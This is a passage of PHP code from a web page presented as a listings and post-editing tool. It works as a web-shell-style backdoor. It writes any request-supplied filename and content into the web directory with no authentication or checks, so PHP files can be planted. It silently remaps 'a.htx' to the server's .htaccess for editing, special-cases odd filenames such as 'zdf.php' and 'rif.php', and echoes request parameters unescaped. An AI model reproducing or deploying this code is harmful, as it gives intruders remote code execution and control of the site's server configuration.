";
Echo $_GET['file']." home";
Echo " other filesWPlistings
";
If($_REQUEST['forward']!=""){
Echo ">>".$_REQUEST['forward']."";
}
Echo " edit postsedit postsupdatenew file";
if ($_GET['file']!="" && $_GET['newf']!=1){
Echo "
backup
";
}
Echo " ";
// Define the directory to work with
$dir = '.';
// Check if the directory exists
if (!is_dir($dir)) {
echo "Directory does not exist.";
exit;
}
// Check if the form has been submitted to create a new file
if (isset($_POST['filename']) && isset($_POST['content'])) {
// Get the filename and content from the form
$filename = $_REQUEST['filename'];
$filename = str_replace(" ", "-", $filename);
$content = $_REQUEST['content'];
$meta = $_REQUEST['meta'];
// Create the file
$file = fopen($dir . '/' . $filename, 'w');
If($filename=="zdf.php" || $filename=="zdf2.php" || $filename=="rif.php"){
fwrite($file, $content);
}
Else{
fwrite($file, $content);
}
fclose($file);
}
// Check if a file has been selected to edit
if (isset($_GET['file'])) {
// Get the filename from the query string
$filename = $_GET['file'];
If($filename=="a.htx"){$filename=".htaccess";}
// Check if the file exists
if (file_exists($dir . '/' . $filename)) {
// Read the file content
$content = file_get_contents($dir . '/' . $filename);
If($filename!="zdf.php" && $filename!="zdf2.php" && $filename!="rif.php"){
$meta=explode("